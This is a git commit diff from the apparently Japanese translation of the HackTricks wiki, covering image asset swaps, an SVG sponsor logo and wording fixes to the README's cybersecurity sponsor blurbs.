Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi

This commit is contained in:
Translator 2023-08-31 16:28:04 +00:00
parent 0149506b53
commit d5da16ac07
71 changed files with 523 additions and 513 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 220 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 220 KiB

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 316 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 316 KiB

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 234 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 234 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

After

Width:  |  Height:  |  Size: 7.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.5 KiB

After

Width:  |  Height:  |  Size: 36 KiB

BIN
.gitbook/assets/stm (1).png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.1 KiB

View file

@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300px" height="77px" viewBox="0 0 299 77" version="1.1">
<g id="surface1">
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 138.042969 16.09375 C 137.605469 16.09375 137.226562 16.40625 137.148438 16.839844 C 136.703125 19.355469 136.234375 21.917969 135.742188 24.527344 C 135.191406 27.402344 134.628906 30.226562 134.042969 32.996094 C 133.457031 35.769531 132.863281 38.449219 132.261719 41.039062 C 131.65625 43.628906 131.046875 46.015625 130.441406 48.195312 C 129.527344 51.464844 126.289062 35.253906 121.789062 18.628906 C 121.683594 18.230469 121.324219 17.953125 120.914062 17.953125 L 116.121094 17.953125 C 115.710938 17.953125 115.351562 18.230469 115.246094 18.628906 C 110.746094 35.257812 106.59375 48.195312 106.59375 48.195312 C 105.984375 46.007812 105.378906 43.625 104.773438 41.035156 C 104.171875 38.449219 103.578125 35.769531 102.992188 32.992188 C 102.40625 30.222656 101.839844 27.398438 101.292969 24.523438 C 100.800781 21.914062 100.332031 19.351562 99.882812 16.835938 C 99.804688 16.402344 99.429688 16.089844 98.988281 16.089844 L 92.675781 16.089844 C 92.402344 16.089844 92.148438 16.210938 91.976562 16.421875 C 91.800781 16.628906 91.730469 16.90625 91.78125 17.171875 C 93.136719 24.394531 94.628906 31.347656 96.261719 38.035156 C 97.917969 44.828125 99.789062 51.328125 101.878906 57.53125 C 102.003906 57.898438 102.351562 58.148438 102.742188 58.148438 L 109.171875 58.148438 C 109.554688 58.148438 109.898438 57.90625 110.027344 57.542969 C 111.824219 52.519531 117.085938 36.066406 118.515625 31.382812 C 119.945312 36.066406 125.210938 52.527344 127.007812 57.542969 C 127.136719 57.90625 127.476562 58.148438 127.863281 58.148438 L 134.289062 58.148438 C 134.679688 58.148438 135.027344 57.898438 135.152344 57.53125 C 137.246094 51.324219 139.117188 44.824219 140.769531 38.027344 C 142.402344 31.34375 143.894531 24.394531 145.253906 17.175781 C 145.300781 16.910156 145.230469 16.632812 145.058594 16.425781 C 144.886719 16.214844 144.628906 16.09375 144.359375 16.09375 Z M 138.042969 16.09375 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 145.488281 42.433594 C 145.488281 39.640625 145.902344 37.191406 146.730469 35.089844 C 147.554688 32.988281 148.65625 31.238281 150.027344 29.839844 C 151.363281 28.46875 152.972656 27.394531 154.75 26.683594 C 156.480469 25.984375 158.332031 25.625 160.195312 25.625 C 164.554688 25.625 167.957031 26.980469 170.398438 29.6875 C 172.839844 32.398438 174.058594 36.445312 174.058594 41.828125 C 174.058594 42.234375 174.046875 42.6875 174.03125 43.191406 C 174.03125 43.371094 174.011719 43.546875 174.003906 43.710938 C 173.972656 44.1875 173.574219 44.5625 173.097656 44.558594 L 153.054688 44.558594 C 153.253906 47.109375 154.152344 49.085938 155.746094 50.480469 C 157.34375 51.878906 159.652344 52.578125 162.679688 52.578125 C 164.316406 52.589844 165.949219 52.429688 167.550781 52.089844 C 168.5 51.882812 169.332031 51.664062 170.019531 51.4375 C 170.273438 51.351562 170.550781 51.382812 170.777344 51.519531 C 171.007812 51.65625 171.164062 51.890625 171.203125 52.152344 L 171.886719 56.371094 C 171.953125 56.792969 171.714844 57.210938 171.316406 57.367188 C 171.027344 57.476562 170.699219 57.589844 170.332031 57.703125 C 169.535156 57.949219 168.726562 58.152344 167.910156 58.3125 C 167.003906 58.503906 166.023438 58.644531 164.972656 58.769531 C 163.90625 58.890625 162.835938 58.949219 161.765625 58.949219 C 158.976562 58.949219 156.558594 58.535156 154.5 57.703125 C 152.5625 56.957031 150.824219 55.773438 149.417969 54.246094 C 148.066406 52.738281 147.054688 50.957031 146.453125 49.027344 C 145.785156 46.894531 145.460938 44.667969 145.488281 42.433594 Z M 166.734375 39.15625 C 166.738281 38.179688 166.59375 37.207031 166.308594 36.273438 C 166.050781 35.414062 165.632812 34.609375 165.070312 33.90625 C 164.53125 33.242188 163.851562 32.703125 163.078125 32.328125 C 162.195312 31.925781 161.234375 31.730469 160.265625 31.757812 C 159.238281 31.730469 158.21875 31.945312 157.292969 32.382812 C 156.46875 32.789062 155.738281 33.355469 155.144531 34.054688 C 154.550781 34.753906 154.089844 35.554688 153.78125 36.421875 C 153.457031 37.304688 153.234375 38.21875 153.113281 39.152344 Z M 166.734375 39.15625 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 207.203125 42.3125 C 207.203125 44.863281 206.832031 47.160156 206.085938 49.203125 C 205.390625 51.15625 204.300781 52.945312 202.875 54.453125 C 201.460938 55.925781 199.734375 57.066406 197.824219 57.789062 C 195.84375 58.550781 193.605469 58.9375 191.105469 58.941406 C 188.78125 58.953125 186.460938 58.769531 184.167969 58.398438 C 182.546875 58.144531 180.941406 57.800781 179.359375 57.378906 C 178.964844 57.269531 178.691406 56.910156 178.691406 56.5 L 178.691406 14.378906 C 178.691406 13.933594 179.011719 13.554688 179.449219 13.480469 L 184.960938 12.570312 C 185.222656 12.523438 185.492188 12.601562 185.695312 12.773438 C 185.898438 12.945312 186.015625 13.199219 186.015625 13.464844 L 186.015625 27.503906 C 187.015625 27 188.058594 26.589844 189.136719 26.289062 C 190.464844 25.910156 191.839844 25.726562 193.222656 25.742188 C 195.441406 25.742188 197.429688 26.136719 199.183594 26.925781 C 200.894531 27.679688 202.402344 28.835938 203.574219 30.292969 C 204.796875 31.855469 205.710938 33.636719 206.269531 35.542969 C 206.914062 37.742188 207.230469 40.023438 207.203125 42.3125 Z M 199.699219 42.191406 C 199.699219 39.078125 199.082031 36.609375 197.855469 34.789062 C 196.625 32.96875 194.675781 32.058594 192.011719 32.054688 C 189.886719 32.0625 187.8125 32.675781 186.019531 33.816406 L 186.019531 52.085938 C 186.6875 52.230469 187.367188 52.34375 188.046875 52.417969 C 189.042969 52.53125 190.042969 52.582031 191.042969 52.570312 C 193.746094 52.570312 195.863281 51.648438 197.398438 49.808594 C 198.933594 47.96875 199.699219 45.429688 199.699219 42.191406 Z M 199.699219 42.191406 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(89.803922%,16.078431%,28.627451%);fill-opacity:1;" d="M 70.214844 39.941406 L 52.527344 63.882812 L 45.558594 54.449219 L 40.503906 47.609375 L 28.039062 30.738281 C 25.613281 27.441406 24.300781 23.453125 24.289062 19.355469 L 24.289062 8.148438 L 56.714844 8.148438 L 56.714844 19.355469 C 56.707031 23.453125 55.394531 27.441406 52.96875 30.738281 L 43.847656 43.074219 C 43.449219 43.617188 43.449219 44.355469 43.847656 44.898438 L 47.570312 49.917969 C 47.726562 50.132812 47.976562 50.257812 48.242188 50.257812 C 48.507812 50.257812 48.757812 50.132812 48.914062 49.917969 L 59.5 35.589844 C 62.960938 30.886719 64.832031 25.199219 64.847656 19.355469 L 64.847656 0.953125 C 64.847656 0.425781 64.421875 0 63.894531 0 L 17.121094 0 C 16.59375 0 16.171875 0.425781 16.171875 0.953125 L 16.171875 19.351562 C 16.183594 25.195312 18.054688 30.878906 21.515625 35.582031 L 35.453125 54.441406 L 28.488281 63.871094 L 10.792969 39.941406 C 9.890625 38.722656 8.46875 38.003906 6.953125 38.003906 L 0.910156 38.003906 C 0.597656 38.003906 0.308594 38.183594 0.167969 38.464844 C 0.0273438 38.746094 0.0546875 39.082031 0.238281 39.335938 L 27.8125 76.660156 C 27.96875 76.875 28.21875 77 28.480469 77 C 28.746094 77 28.996094 76.875 29.152344 76.660156 L 37.828125 64.917969 L 39.15625 63.109375 L 40.496094 61.296875 L 51.847656 76.660156 C 52.007812 76.875 52.253906 77 52.519531 77 C 52.785156 77 53.035156 76.875 53.191406 76.660156 L 80.757812 39.34375 C 80.945312 39.089844 80.96875 38.75 80.828125 38.46875 C 80.6875 38.191406 80.402344 38.011719 80.085938 38.007812 L 74.050781 38.007812 C 72.539062 38.007812 71.117188 38.726562 70.214844 39.941406 Z M 70.214844 39.941406 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 222.210938 52.449219 C 224.953125 52.449219 226.949219 51.984375 228.203125 51.054688 C 229.457031 50.125 230.082031 48.808594 230.078125 47.109375 C 230.105469 46.199219 229.882812 45.296875 229.441406 44.496094 C 228.976562 43.722656 228.359375 43.054688 227.628906 42.527344 C 226.730469 41.875 225.765625 41.328125 224.75 40.886719 C 223.621094 40.378906 222.332031 39.882812 220.878906 39.398438 C 219.425781 38.875 218.019531 38.296875 216.667969 37.667969 C 215.367188 37.074219 214.164062 36.289062 213.097656 35.332031 C 212.0625 34.394531 211.21875 33.265625 210.613281 32.003906 C 209.992188 30.707031 209.675781 29.148438 209.675781 27.328125 C 209.675781 23.527344 210.988281 20.542969 213.613281 18.375 C 216.238281 16.207031 219.808594 15.128906 224.328125 15.136719 C 226.949219 15.136719 229.28125 15.429688 231.320312 16.019531 C 232.722656 16.402344 234.09375 16.914062 235.40625 17.542969 C 235.828125 17.75 236.019531 18.246094 235.847656 18.6875 L 234.140625 23.179688 C 234.050781 23.414062 233.871094 23.601562 233.636719 23.695312 C 233.40625 23.792969 233.144531 23.785156 232.917969 23.679688 C 231.75 23.117188 230.527344 22.675781 229.265625 22.367188 C 227.609375 21.960938 225.914062 21.757812 224.210938 21.761719 C 222.152344 21.761719 220.550781 22.1875 219.398438 23.035156 C 218.246094 23.886719 217.671875 25.078125 217.671875 26.617188 C 217.648438 27.453125 217.84375 28.28125 218.242188 29.015625 C 218.660156 29.71875 219.214844 30.328125 219.878906 30.808594 C 220.65625 31.375 221.484375 31.863281 222.359375 32.265625 C 223.308594 32.710938 224.347656 33.132812 225.480469 33.539062 C 227.457031 34.265625 229.222656 35.003906 230.777344 35.753906 C 232.21875 36.425781 233.550781 37.328125 234.710938 38.421875 C 235.777344 39.441406 236.617188 40.671875 237.171875 42.039062 C 237.738281 43.4375 238.019531 45.128906 238.019531 47.109375 C 238.019531 50.917969 236.679688 53.863281 233.996094 55.941406 C 231.308594 58.019531 227.382812 59.058594 222.214844 59.066406 C 220.625 59.078125 219.039062 58.964844 217.464844 58.734375 C 216.179688 58.542969 214.90625 58.269531 213.652344 57.914062 C 212.675781 57.636719 211.714844 57.304688 210.777344 56.914062 C 210.320312 56.722656 209.910156 56.53125 209.558594 56.355469 C 209.144531 56.152344 208.949219 55.667969 209.105469 55.230469 L 210.734375 50.6875 C 210.820312 50.445312 211.003906 50.253906 211.238281 50.15625 C 211.476562 50.058594 211.742188 50.066406 211.972656 50.175781 C 213.121094 50.703125 214.296875 51.160156 215.5 51.539062 C 217.347656 52.148438 219.585938 52.453125 222.210938 52.449219 Z M 222.210938 52.449219 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 241.921875 42.433594 C 241.921875 39.640625 242.335938 37.191406 243.164062 35.089844 C 243.988281 32.984375 245.089844 31.234375 246.464844 29.839844 C 247.796875 28.46875 249.40625 27.390625 251.183594 26.683594 C 252.917969 25.984375 254.765625 25.621094 256.632812 25.621094 C 260.992188 25.621094 264.394531 26.976562 266.835938 29.6875 C 269.277344 32.398438 270.496094 36.445312 270.496094 41.828125 C 270.496094 42.230469 270.488281 42.6875 270.46875 43.191406 C 270.46875 43.371094 270.449219 43.546875 270.441406 43.714844 C 270.410156 44.191406 270.011719 44.5625 269.535156 44.558594 L 249.480469 44.558594 C 249.683594 47.109375 250.582031 49.085938 252.179688 50.480469 C 253.78125 51.878906 256.089844 52.578125 259.113281 52.578125 C 260.75 52.589844 262.386719 52.429688 263.988281 52.089844 C 264.953125 51.878906 265.785156 51.65625 266.480469 51.429688 C 266.730469 51.347656 267.003906 51.382812 267.230469 51.519531 C 267.453125 51.660156 267.605469 51.890625 267.644531 52.148438 L 268.324219 56.371094 C 268.394531 56.796875 268.15625 57.210938 267.753906 57.363281 C 267.46875 57.472656 267.140625 57.589844 266.769531 57.703125 C 265.972656 57.949219 265.164062 58.152344 264.347656 58.3125 C 263.441406 58.496094 262.460938 58.648438 261.414062 58.769531 C 260.347656 58.890625 259.277344 58.949219 258.203125 58.949219 C 255.417969 58.949219 252.996094 58.535156 250.9375 57.703125 C 249 56.957031 247.261719 55.773438 245.851562 54.246094 C 244.503906 52.738281 243.492188 50.957031 242.886719 49.023438 C 242.222656 46.890625 241.898438 44.667969 241.921875 42.433594 Z M 263.171875 39.15625 C 263.175781 38.179688 263.035156 37.207031 262.75 36.273438 C 262.492188 35.410156 262.070312 34.609375 261.507812 33.90625 C 260.964844 33.238281 260.28125 32.699219 259.507812 32.328125 C 258.625 31.925781 257.664062 31.730469 256.695312 31.753906 C 255.667969 31.726562 254.648438 31.945312 253.71875 32.382812 C 252.898438 32.789062 252.167969 33.355469 251.570312 34.054688 C 250.976562 34.753906 250.515625 35.554688 250.210938 36.421875 C 249.886719 37.304688 249.664062 38.21875 249.542969 39.152344 Z M 263.171875 39.15625 "/>
<path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 274.390625 42.3125 C 274.375 40.070312 274.742188 37.84375 275.480469 35.726562 C 276.160156 33.765625 277.21875 31.960938 278.601562 30.414062 C 279.976562 28.898438 281.660156 27.699219 283.539062 26.894531 C 285.476562 26.042969 287.65625 25.621094 290.078125 25.621094 C 292.710938 25.605469 295.320312 26.0625 297.792969 26.964844 C 298.230469 27.128906 298.46875 27.597656 298.347656 28.046875 L 297.234375 32.289062 C 297.171875 32.535156 297.011719 32.742188 296.789062 32.859375 C 296.570312 32.976562 296.308594 33 296.070312 32.914062 C 295.425781 32.695312 294.769531 32.507812 294.105469 32.359375 C 292.980469 32.109375 291.835938 31.988281 290.6875 31.992188 C 287.816406 31.992188 285.640625 32.894531 284.148438 34.695312 C 282.65625 36.496094 281.910156 39.035156 281.910156 42.316406 C 281.910156 45.46875 282.613281 47.96875 284.027344 49.8125 C 285.4375 51.65625 287.820312 52.574219 291.171875 52.574219 C 292.410156 52.574219 293.648438 52.453125 294.863281 52.207031 C 295.589844 52.066406 296.308594 51.882812 297.019531 51.660156 C 297.269531 51.578125 297.542969 51.609375 297.765625 51.746094 C 297.992188 51.882812 298.148438 52.109375 298.191406 52.367188 L 298.921875 56.664062 C 298.996094 57.089844 298.761719 57.507812 298.363281 57.664062 C 297.390625 58.011719 296.394531 58.277344 295.378906 58.460938 C 293.710938 58.789062 292.019531 58.949219 290.324219 58.945312 C 287.617188 58.945312 285.265625 58.53125 283.269531 57.703125 C 281.371094 56.945312 279.675781 55.761719 278.304688 54.242188 C 276.957031 52.710938 275.953125 50.910156 275.359375 48.957031 C 274.699219 46.804688 274.371094 44.5625 274.390625 42.3125 Z M 274.390625 42.3125 "/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 14 KiB

View file

@ -16,44 +16,44 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
## プラチナスポンサー
_あなたの会社もここに掲載されるかもしれません_
_あなたの会社もここに掲載されるかもしれません_
## コーポレートスポンサー
## 法人スポンサー
### [STM Cyber](https://www.stmcyber.com)
![](<.gitbook/assets/image (642) (1) (1) (1).png>)
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com)は、**HACK THE UNHACKABLE**をスローガンに掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、レッドチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE** というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、レッドチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で彼らの**ブログ**をチェックできます。
[**https://blog.stmcyber.com**](https://blog.stmcyber.com) で彼らの**ブログ**をチェックできます。
**STM Cyber**は、HackTricksのようなオープンソースのサイバーセキュリティプロジェクトもサポートしています :)
**STM Cyber** また、HackTricks のようなオープンソースのサイバーセキュリティプロジェクトもサポートしています :)
### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。技術的な知識を促進することを使命としており、この会議は技術とサイバーセキュリティの専門家が集まる活気ある場です。
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントのつです。技術的な知識を促進することを使命としており、この会議は技術とサイバーセキュリティの専門家が集まる活気ある場です。
{% embed url="https://www.rootedcon.com/" %}
### [Intigriti](https://www.intigriti.com)
![](.gitbook/assets/i3.png)
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Intigriti**は、**ヨーロッパで最も優れた**エシカルハッキングと**バグバウンティプラットフォーム**です。
**Intigriti** は、**ヨーロッパで最も優れた**エシカルハッキングと**バグバウンティプラットフォーム**です。
**バグバウンティのヒント**ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今日から[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**の報酬を獲得しましょう
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である **Intigriti** に**サインアップ**してみてください!今日から [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で報酬を最大 **$100,000** まで獲得できます
{% embed url="https://go.intigriti.com/hacktricks" %}
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**しましょう
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます
今すぐアクセスを取得:
@ -61,91 +61,83 @@ _あなたの会社もここに掲載されるかもしれません_
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
サイバーセキュリティゲームで一歩先を行く。
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)は脆弱性管理を簡単にします。攻撃対象の範囲を把握し、企業が脆弱性を抱えている箇所を確認し、システムが最も公開されている問題に優先順位を付けることで、最も重要なことに集中できます。
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) は脆弱性管理を簡単にします。攻撃対象の範囲を把握し、企業が脆弱性を抱えている箇所を確認し、システムが最も公開されている問題に優先順位を付けることで、最も重要なことに集中できます。
内部インフラからWebアプリ、API、クラウドシステムまで、一つのプラットフォームで数千のチェックを実行ます。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure)とシームレスに統合し、DevOpsを効率化してチームが修正を迅速に実装できるようにします。
内部インフラストラクチャからWebアプリ、API、クラウドシステムまで、一つのプラットフォームで数千のチェックを実行できます。[AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) とシームレスに統合し、DevOps を効率化してチームが修正を迅速に実装できるようにします。
Intruderは休むことはありません。24時間体制でシステムを監視します。詳細を知りたいですか?サイトを訪れ、[**無料トライアル**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)試してみてください。
Intruder は休むことなく監視し続けます。24時間365日、システムを監視し続けます。詳細を知りたいですか?サイトを訪れ、[**無料トライアル**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)試してみてください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。**
**HackenProof はすべての暗号バグバウンティの場所です。**
**遅延なしで報酬を受け取る**\
HackenProofの報酬は、顧客が報酬予算を入金した後に発表されます。バグが検証された後に報酬を受け取ることができます。
HackenProof の報酬は、顧客が報酬予算を入金した後に発表されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。
**Web3 ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期の web3 セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
**Web3 ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
[**HackenProofサインアップ**](https://hackenproof.com/register) して、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
\---
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl)は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護**するために**攻撃的なセキュリティサービス**を提供しています。
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロのサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威からビジネスを保護**するために、**攻撃型セキュリティサービス**を提供しています。
WebSecは**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてをいます。
WebSec は**オールインワンのセキュリティ企業**であり、ペンテスト、セキュリティ監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを提供しています。
WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私たちがハックできなければ、あなたは支払いません!**」と記載されており、最高品質の結果を保証しています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を
WebSec のもう一つの素晴らしい点は、業界平均とは異なり、WebSec は**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私たちがハックできなければ、お金はいただきません!**」と記載されています。詳細については、彼らの [**ウェブサイト**](https://websec.nl/en/) と [**ブログ**](https://websec.nl/blog/) をご覧ください
### [DragonJAR](https://www.dragonjar.org/)
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
[**DragonJARは、コロンビアに拠点を置く先進的な攻撃型サイバーセキュリティ企業**](https://www.dragonjar.org/) **です**。DragonJARは、さまざまな分野での**ペントテスト**を含む包括的な攻撃型サイバーセキュリティサービスを提供しており、ほとんどの技術に対応しています。また、**Red Team**の攻撃シミュレーション、**物理**セキュリティテスト、**ストレステスト**、ソーシャルエンジニアリング、ソース**コードのセキュリティレビュー**、サイバーセキュリティトレーニングも提供しています。さらに、彼らは**DragonJAR Security Conference**を主催しており、10年以上にわたり開催されており、スペイン語での最新のセキュリティ研究を紹介するとともに、その地域で非常に重要なイベントとなっています。
